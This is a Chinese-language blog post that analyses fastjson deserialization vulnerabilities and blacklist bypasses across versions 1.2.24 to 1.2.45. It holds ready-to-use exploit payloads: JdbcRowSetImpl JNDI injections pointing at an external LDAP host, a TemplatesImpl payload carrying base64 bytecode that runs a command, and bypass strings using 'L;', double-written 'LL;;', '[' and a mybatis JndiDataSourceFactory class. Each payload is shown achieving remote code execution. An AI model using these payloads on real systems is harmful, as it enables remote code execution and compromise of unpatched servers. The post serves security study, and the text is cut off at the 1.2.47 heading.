fastjson反序列化链分析与bypass

最新推荐文章于 2023-10-11 11:53:29 发布
最新推荐文章于 2023-10-11 11:53:29 发布
阅读量661 收藏 2
点赞数 2
文章标签： java json android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45449318/article/details/129202122
版权

走进fastjson

我们先通过官方文档来了解一下fastjson是一个什么东西？

  • fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。
  • fastjson相对其他JSON库的特点是快，从2011年fastjson发布1.1.x版本之后，其性能从未被其他Java实现的JSON库超越。
  • fastjson在阿里巴巴大规模使用，在数万台服务器上部署，fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。
  • fastjson有非常多的testcase，在1.2.11版本中，testcase超过3321个。每次发布都会进行回归测试，保证质量稳定。

fastjson的API十分简洁:

String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化
VO vo = JSON.parseObject("{...}"); //反序列化
VO vo = JSON.parse(); //反序列化

我们来写一个简单的javaBean:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name;
    public int age;

    public Student(int age,String name) {
        this.age = age;
        this.name = name;
    }

    public String getName() {
        System.out.println("调用了geter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了seter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了geter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了seter");
        this.age = age;
    }

    public static void main(String[] args) {

        Student student = new Student(1,"a");
        String text = JSON.toJSONString(student);
        System.out.println(text);
    }
}

maven依赖：

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
    </dependencies>

</project>

我们先简单运行一下，看一下输出：

在这里插入图片描述

从输出可以判断出，它在进行序列化的时候，自动调用了getter方法，这里应该是通过getter方法来获取来属性值，然后再根据属性值来去构造成json字符串。

接下来再看一下反序列化，一个简单的demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        Student student = new Student();
        String text = JSON.toJSONString(student);
        System.out.println("--------------------------------JSON.parse() 结果如下:");
        Object o1= JSON.parse(text);
        System.out.println("object: "+o1);
        System.out.println("class: "+o1.getClass().getName());

        System.out.println("--------------------------------JSON.parseObject(\"\") 结果如下:");
        Object o2 = JSON.parseObject(text);
        System.out.println("object: "+o2);
        System.out.println("class: "+o2.getClass().getName());

        System.out.println("--------------------------------JSON.parseObject(\"\", Student.class) 结果如下:");
        Object o3 = JSON.parseObject(text,Student.class);
        System.out.println("object: "+o3);
        System.out.println("class: "+o3.getClass().getName());

    }
}

看一下执行结果：
在这里插入图片描述

可以发现在反序列化中是自动调用了setter，并且没有序列化反序列化我们的 private属性，并且在我们反序列化不指定特定的类时，那么fastjosn就会将一个JSON字符串反序列化为一个JSONObject对象。而并不是我们创建对象的类的对象。

这是为什么呢？大家观察序列化后的结果可以发现，我们输出的字符串中并没有类名，只有属性名与属性值，所以导致我们反序列化时如果不指定特定的类，那么Fastjosn它是不知道我们反序列化时要创建的对象是哪一个类的对象的。所以在不指定特定的类的情况下，Fastjosn就默认将JSON字符串反序列化为一个JSONObject

那么我们如何解决这个问题呢？在JSON字符串反序列化时，转为原始的类对象而不是JSONObject对象。这里有两种方法 :

第一种是在序列化的时候，在toJSONString()方法中添加SerializerFeature.WriteClassName属性，这样他就会将对象类型也序列化，如下图：

在这里插入图片描述
可以看到，序列化的结果中相对于以前添加了一个@type字段，用于标识对象所属的类。

反序列化后：

在这里插入图片描述
第二种方法呢，这个我们其实在前面就介绍过，是在反序列化的时候，在parseObject()方法中指定对象的类型

序列化：
在这里插入图片描述

反序列化：
d

fastjson反序列化漏洞

说起fastjson反序列化漏洞，肯定与它的几个反序列化函数脱不了关系，我们一个一个看。

parse(string)方法

demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        System.out.println("--------------------------------JSON.parse() 结果如下:");
        Object o1= JSON.parse("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}");
    }
}

输出结果：

在这里插入图片描述

可以看出，fastjson在使用parse()反序列化的过程中，会先调用@type标识的类的构造函数，然后用setter给对象赋值。

parseObject(string)方法

demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        System.out.println("--------------------------------JSON.parse() 结果如下:");
        Object o1= JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}");

    }
}

输出结果：
在这里插入图片描述

跟进一下parseObject()：

在这里插入图片描述
可以看到，他是封装了parse()，然后判断parse方法的返回结果，如果不是JSONObject对象就会强转成JSONObject对象。看parseObject()的调用结果图，再结合我们的分析就可以知道，它这里的setter方法其实就是我们的parse()方法调用的，这里的getter是我们的toJSON()方法调用的

parseObject(string,Class)方法

demo:

import com.alibaba.fastjson.JSON;

public class Student {
    public String name="a";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {

        System.out.println("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"} 结果如下:");
        Object o3 = JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"a\"}",Student.class);
        System.out.println("{\"age\":1,\"name\":\"a\"} 结果如下:");
        Object o4 = JSON.parseObject("{\"age\":1,\"name\":\"a\"}",Student.class);

    }
}

输出结果：

在这里插入图片描述
它这里会调用setter，并返回指定类对象。

根据上面的分析，在反序列化时，parse方法会触发setter方法，parseObject会触发setter和getter方法，由于存在这种特性。如果@type标识的类的setter或者getter方法中存在恶意代码，通过构造调用链，那么就有可能达到rce，存在fastjson反序列化漏洞。

写一个demo：

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.io.IOException;

public class Student {
    public String name="open /System/Applications/Calculator.app";
    public int age=1;
    private String grade ="91";


    public Student(){
        System.out.println("调用了构造方法");
    }


    public String getName() {
        System.out.println("调用了getter");
        return name;
    }


    public void setName(String name) {
        System.out.println("调用了setter");
        this.name = name;
        try {
            Runtime.getRuntime().exec(name);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public int getAge() {
        System.out.println("调用了getter");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setter");
        this.age = age;
    }

    public static void main(String[] args) {
        Student student = new Student();
        String t = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(t);
        JSON.parseObject("{\"@type\":\"Student\",\"age\":1,\"name\":\"open /System/Applications/Calculator.app\"}");


    }
}

执行结果，成功rce：

在这里插入图片描述
debug一下：

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在DefaultJSONParser.parseObject方法中，通过scanSymbol()方法来解析出关键字@type：

在这里插入图片描述
在DefaultJSONParser.parseObject方法中，通过loadClass()方法来反射加载关键字@type对应的值，也就是Student类（在loadClass方法中其实有一些字符的去除，这也是我们对黑名单绕过的一个利用点）：
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里会对加载的类进行黑名单检查，黑名单中只有Thread类，我们这里通过了：
在这里插入图片描述
这里是根据不同的类来生成不同的deserializer。但是我们的Student类并不在上面的if判断中，所以会调用createJavaBeanDeserializer()方法生成一个deserializer：

在这里插入图片描述
跟进createJavaBeanDeserializer()方法，在JavaBeanInfo.build方法中会反射获取类的属性和方法：

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

通过反射拿到该类所有的方法存入methods，接下来会遍历methods获得get、set方法，如上几图。总结set方法自动调用的条件为：

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或当前类
  • 方法名以set开头
  • 参数个数为1

get的在这里：

在这里插入图片描述
总结get的调用条件就是：

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

找到特定的setter和getter后，接着就会根据JSON字符串中的键值对来调用相应的setter。

小结：

parse(jsonStr) 会调用到：构造方法指定属性的setter()，特殊的getter()

parseObject(jsonStr) 会调用到：构造方法，Json字符串指定属性的setter()，所有getter() 包括不存在属性和私有属性的getter()

parseObject(jsonStr,Object.class)会调用到： 构造方法，Json字符串指定属性的setter()，特殊的getter()

parseObject(jsonStr)会调用到更多的getter是因为parseObject里有一个toJSON()方法，在toJSON()方法中调用到的。上面特殊的getter是指：
在这里插入图片描述

fastjson <=1.2.24

在小于等于1.2.24版本中，总共有两条利用链

1.JdbcRowSetImpl利用链

利用条件：如下三种反序列化方法通杀

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

demo:

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class JRS {
    public static void main(String[] args) throws Exception {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://10.32.124.11:23457/Command8");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

运行结果：

在这里插入图片描述
这条链最终利用的点在jndi注入，原理就是setter的自动调用。跟进分析一下

setDataSourceName(String var1)，这个方法是符合setter自动调用的格式的,并且参数是可控的：
在这里插入图片描述
跟进super.setDataSourceName(var1)看下：
在这里插入图片描述
如上图dataSource的值，我们是可以控制的

setAutoCommit(boolean var1)，看一下这个方法他是调用到了connect()的：
在这里插入图片描述

connect()方法调用到了lookup()方法，由此造成了jndi注入，并且lookup方法的参数，正是dataSource，也就是我们在setDataSourceName方法中可以传进去的那个参数：

在这里插入图片描述
在这里插入图片描述

开个漏洞demo来演示一下：

在这里插入图片描述
payload：

在这里插入图片描述

{"a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://91.206.92.47:1389/dulfrc",
        "autoCommit":true 
}}

在这里插入图片描述

攻击成功：

在这里插入图片描述

2.TemplatesImpl利用链

利用条件：比较苛刻，如下

JSON.parseObject(text, class, Feature.SupportNonPublicField)
JSON.parse(text,Feature.SupportNonPublicField)

为什么在反序列化函数中要指定Feature.SupportNonPublicField参数？

这是因为TemplatesImpl利用链的好几个属性都是private，所以在反序列化函数中需要指定Feature.SupportNonPublicField参数。要不然它是不会序列化反序列化被private修饰的属性的

在这里插入图片描述

这个利用链在之前分析shiro的时候讲过，这里就不进行详细介绍了。在fastjson中这条链主要是通过getter方法来触发的。调用getOutputProperties方法，它是_outputProperties的getter方法，Fastjson在为类中的属性调用getter与setter方法时是会调用smartMatch()忽略掉_ -字符的。也就是说哪怕你的字段名叫 a_g_e，getter 方法为 getAge()，fastjson 也可以找得到，在 大于等于1.2.36 版本可以同时使用 _ 和 - 进行组合混淆。

在这里插入图片描述
跟进newTransformer()方法

在这里插入图片描述

跟进getTransletInstance()方法

在这里插入图片描述
如上图在getTransletInstance()方法中，有两个if判断，要求我们_name与_class属性都不能为空。跟进defineTransletClasses()方法，

在这里插入图片描述

如上图，在defineTransletClasses()方法中，会读取bytecodes[]加载类，其中_tfactory不能为null，一旦为空，那么在第二个红框处就会报错，导致无法走到类加载出。并且因为加载完类后会强制类型转换为AbstractTranslet，所以加载的类必须为AbstractTranslet的子类，这里在写exp的时候要注意下

还有一个点是我们传进去的bytecodes[]是需进行base64编码的，这是因为fastjson在解析byte[]的时候是会进行base64解码的，deserialze()->bytesValue() 如下图:

在这里插入图片描述

总结一下TemplatesImpl链子要满足的点：

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null

写个demo:

恶意类：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet {
    static{
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }
        catch (Exception e){
            System.out.println();

        }
    }

    public static void main(String[] args) {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

转化成字节码：

在这里插入图片描述

base64编码：

import org.apache.commons.codec.binary.Base64;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import java.io.*;

public class Base64Byte {

    private void Base64Convert() {

    }

    public static String ioToBase64(InputStream in) throws IOException {
        String strBase64 = null;
        try {
            byte[] bytes = new byte[in.available()];
            in.read(bytes);
            strBase64 = new BASE64Encoder().encode(bytes);      
        } finally {
            if (in != null) {
                in.close();
            }
        }

        return strBase64;
    }

    public static String byteToBase64(byte[] bytes)  {
        String strBase64 = null;
        strBase64 = Base64.encodeBase64String(bytes);      
        return strBase64;
    }

    public static byte[] base64ToByte(String strBase64) throws IOException {
        byte[] bytes = new BASE64Decoder().decodeBuffer(strBase64);   
        return bytes;
    }

    public static void main(String[] args) {
                byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,64,10,0,9,0,41,10,0,42,0,43,8,0,44,10,0,42,0,45,7,0,46,9,0,47,0,48,10,0,49,0,50,7,0,51,7,0,52,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,4,97,114,103,115,1,0,19,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,53,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,46,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,54,12,0,55,0,56,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,57,0,58,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,59,12,0,60,0,61,7,0,62,12,0,63,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,5,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,9,0,17,0,18,0,1,0,12,0,0,0,43,0,0,0,1,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,20,0,14,0,0,0,12,0,1,0,0,0,1,0,19,0,20,0,0,0,1,0,21,0,22,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,25,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,23,0,24,0,1,0,0,0,1,0,25,0,26,0,2,0,27,0,0,0,4,0,1,0,28,0,1,0,21,0,29,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,30,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,23,0,24,0,1,0,0,0,1,0,30,0,31,0,2,0,0,0,1,0,32,0,33,0,3,0,27,0,0,0,4,0,1,0,28,0,8,0,34,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,35,0,36,0,0,0,37,0,0,0,7,0,2,76,7,0,38,6,0,1,0,39,0,0,0,2,0,40};
                System.out.println(byteToBase64(bytes));
    }
}

payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAQAoACQApCgAqACsIACwKACoALQcALgkALwAwCgAxADIHADMHADQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkx0ZXN0OwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcANQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcALgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcANgwANwA4AQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAOQA6AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAOwwAPAA9BwA+DAA/AAsBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4AIQAIAAkAAAAAAAUAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAHAA4AAAAMAAEAAAAFAA8AEAAAAAkAEQASAAEADAAAACsAAAABAAAAAbEAAAACAA0AAAAGAAEAAAAUAA4AAAAMAAEAAAABABMAFAAAAAEAFQAWAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAZAA4AAAAgAAMAAAABAA8AEAAAAAAAAQAXABgAAQAAAAEAGQAaAAIAGwAAAAQAAQAcAAEAFQAdAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAeAA4AAAAqAAQAAAABAA8AEAAAAAAAAQAXABgAAQAAAAEAHgAfAAIAAAABACAAIQADABsAAAAEAAEAHAAIACIACwABAAwAAABjAAIAAQAAABS4AAISA7YABFenAApLsgAGtgAHsQABAAAACQAMAAUAAwANAAAAFgAFAAAACgAJAA8ADAAMAA0ADQATABAADgAAAAwAAQANAAYAIwAkAAAAJQAAAAcAAkwHACYGAAEAJwAAAAIAKA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

成功rce:

在这里插入图片描述

fastjson 1.2.25-1.2.41

对比两个jar包发现，更新以后loadClass()方法改为了checkAutoType()方法：

在这里插入图片描述
再看一下新出现的几个成员变量：布尔型的 autoTypeSupport，用来标识是否开启任意类型的反序列化，默认是关闭的。 denyList ，是反序列化类的黑名单，acceptList 是反序列化白名单。

在这里插入图片描述
在这里插入图片描述
跟进一下checkAutoType()方法，如果开启了 autoType，就是为true，则会先判断类名是否在白名单中，如果在，就使用 loadClass方法进行加载，然后使用黑名单判断类名的开头，如果匹配就抛出异常

在这里插入图片描述
这里的loadclass，是写在白名单认证里的，我们利用不了，接着往下看。如果没开启 autoType ，就是autoType为false，则会先使用黑名单匹配，再使用白名单匹配和加载

在这里插入图片描述

因为这里的loadclass也是在白名单匹配后的，我们也用不了，接着看发现最后如果autoTypeSupport开启的情况下，会再一次进行判断然后调用到loadClass中，这里就是我们最终利用的地方，如下图：

在这里插入图片描述

跟进一下loadClass发现，如果类名是以[ 开头的，则[ 会被自动去掉，如果是以L开头;结尾的也会去掉，那么我们利用此特性进行绕过：

在这里插入图片描述

漏洞利用：

需要开启 autoType，也就是autoTypeSupport为true（默认为false）

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://91.206.92.47:1389/0stbf5", "autoCommit":true}

起了个spring-boot:

在这里插入图片描述

成功rce：

在这里插入图片描述

fastjson 1.2.42

在1.2.41中用L;的绕过方法，在1.2.42中行不通：

在这里插入图片描述

对比一下，发现为了防止安全人员找出新的bypass类和方法，这里的黑名单变为了hash值。我们无法直接看到黑名单里的类

有师傅专门做了个项目，来跑黑名单里这些类的hash：

https://github.com/LeadroyaL/fastjson-blacklist

在checkAutoType中，对L ;进行了截取，然后进入到TypeUtils.loadClass中，也就是说checkAutoType截取一次，loadClass截取一次，这样的话双写就可以绕过

在这里插入图片描述

payload：

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://91.206.92.47:1389/rkth6c", "autoCommit":true}

攻击成功：在这里插入图片描述

spring-boot测试下：

不双写攻击失败：

在这里插入图片描述

双写攻击成功：

在这里插入图片描述

fastjson 1.2.43

这里判断了是否以LL开头：

在这里插入图片描述
但是可以用 [ 进行绕过：

payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://91.206.92.47:1389/rkth6c", "autoCommit":true}

rce成功：

在这里插入图片描述

fastjson 1.2.44

增加了对[的绕过，在checkAutoType中进行判断，如果类名以[开始则直接抛出异常

fastjson 1.2.45

一个黑名单绕过。用的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类，所以要求环境要有mybatis组件。

原理就是通过mybatis组件进行JNDI接口调用，加载恶意类执行命令。

有第三方依赖的话应该是通杀 1.2.25 <= fastjson <= 1.2.45

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://91.206.92.47:1389/rkth6c"}}

rce成功：

在这里插入图片描述

fastjson 1.2.47

